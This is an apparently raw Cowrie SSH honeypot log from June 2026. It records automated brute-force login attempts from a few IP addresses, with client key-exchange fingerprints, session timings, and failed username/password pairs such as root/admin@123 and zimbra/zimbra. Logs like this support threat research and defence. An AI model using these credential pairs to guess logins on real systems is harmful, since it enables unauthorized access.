{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:36:54.345520Z","src_ip":"91.92.42.133","session":"8e49d39cc95c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:36:54.639940Z","src_ip":"91.92.40.171","session":"e89abca8c6ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo17","password":"odoo17","message":"login attempt [odoo17/odoo17] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:36:55.643432Z","src_ip":"91.92.42.133","session":"8e49d39cc95c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:36:57.035200Z","src_ip":"91.92.42.133","session":"8e49d39cc95c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":60674,"dst_ip":"159.203.135.109","dst_port":22,"session":"4d6f153e1a01","protocol":"ssh","message":"New connection: 91.92.40.171:60674 (159.203.135.109:22) [session: 4d6f153e1a01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:36:57.581007Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:36:57.895607Z","src_ip":"91.92.40.171","session":"4d6f153e1a01","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:36:57.899067Z","src_ip":"91.92.40.171","session":"4d6f153e1a01","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@123","message":"login attempt [root/admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:36:58.752642Z","src_ip":"91.92.40.171","session":"e89abca8c6ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vncuser","password":"123456","message":"login attempt [vncuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:36:58.793478Z","src_ip":"91.92.40.171","session":"4d6f153e1a01","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:36:59.901501Z","src_ip":"91.92.40.171","session":"4d6f153e1a01","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.7","message":"Connection lost after 6.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:37:00.494583Z","src_ip":"91.92.40.171","session":"e89abca8c6ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":44382,"dst_ip":"159.203.135.109","dst_port":22,"session":"3477d2fb7fff","protocol":"ssh","message":"New connection: 91.92.42.133:44382 (159.203.135.109:22) [session: 3477d2fb7fff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:37:02.016552Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:37:02.024365Z","src_ip":"91.92.42.133","session":"3477d2fb7fff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:37:02.125032Z","src_ip":"91.92.42.133","session":"3477d2fb7fff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zimbra","password":"zimbra","message":"login attempt [zimbra/zimbra] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:37:03.044065Z","src_ip":"91.92.42.133","session":"3477d2fb7fff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":60754,"dst_ip":"159.203.135.109","dst_port":22,"session":"27c3318b3ed0","protocol":"ssh","message":"New connection: 91.92.40.171:60754 (159.203.135.109:22) [session: 27c3318b3ed0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:37:03.587557Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:37:03.659610Z","src_ip":"91.92.40.171","session":"27c3318b3ed0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:37:03.732917Z","src_ip":"91.92.40.171","session":"27c3318b3ed0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1234","message":"login attempt [user/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:37:04.116783Z","src_ip":"91.92.40.171","session":"27c3318b3ed0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:37:04.128825Z","src_ip":"91.92.42.133","session":"3477d2fb7fff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:37:05.337486Z","src_ip":"91.92.40.171","session":"27c3318b3ed0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":55348,"dst_ip":"159.203.135.109","dst_port":22,"session":"499e3b3540d5","protocol":"ssh","message":"New connection: 91.92.40.171:55348 (159.203.135.109:22) [session: 499e3b3540d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:37:08.876679Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":36166,"dst_ip":"159.203.135.109","dst_port":22,"session":"28f2152763ad","protocol":"ssh","message":"New connection: 91.92.42.133:36166 (159.203.135.109:22) [session: 28f2152763ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:37:08.895112Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:37:09.187077Z","src_ip":"91.92.40.171","session":"499e3b3540d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:37:09.191528Z","src_ip":"91.92.40.171","session":"499e3b3540d5","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:37:09.392703Z","src_ip":"91.92.42.133","session":"28f2152763ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:37:09.397032Z","src_ip":"91.92.42.133","session":"28f2152763ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openclaw","password":"1","message":"login attempt [openclaw/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:37:10.061505Z","src_ip":"91.92.40.171","session":"499e3b3540d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bot","password":"111111","message":"login attempt [bot/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:37:10.872992Z","src_ip":"91.92.42.133","session":"28f2152763ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:37:11.224643Z","src_ip":"91.92.40.171","session":"499e3b3540d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:37:12.263695Z","src_ip":"91.92.42.133","session":"28f2152763ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":20836,"dst_ip":"10.17.0.5","dst_port":22,"session":"e2074f6f326d","protocol":"ssh","message":"New connection: 38.93.206.2:20836 (10.17.0.5:22) [session: e2074f6f326d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:37:12.365808Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:37:12.372634Z","src_ip":"38.93.206.2","session":"e2074f6f326d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:37:12.422627Z","src_ip":"38.93.206.2","session":"e2074f6f326d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"16071983","message":"login attempt [root/16071983] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:37:12.574089Z","src_ip":"38.93.206.2","session":"e2074f6f326d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:37:13.628457Z","src_ip":"38.93.206.2","session":"e2074f6f326d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":54882,"dst_ip":"159.203.135.109","dst_port":22,"session":"355c6ba962a9","protocol":"ssh","message":"New connection: 91.92.40.171:54882 (159.203.135.109:22) [session: 355c6ba962a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:37:14.803806Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:37:14.823159Z","src_ip":"91.92.40.171","session":"355c6ba962a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:37:14.927625Z","src_ip":"91.92.40.171","session":"355c6ba962a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"martin","password":"martin","message":"login attempt [martin/martin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:37:15.301729Z","src_ip":"91.92.40.171","session":"355c6ba962a9","protocol":"ssh"}
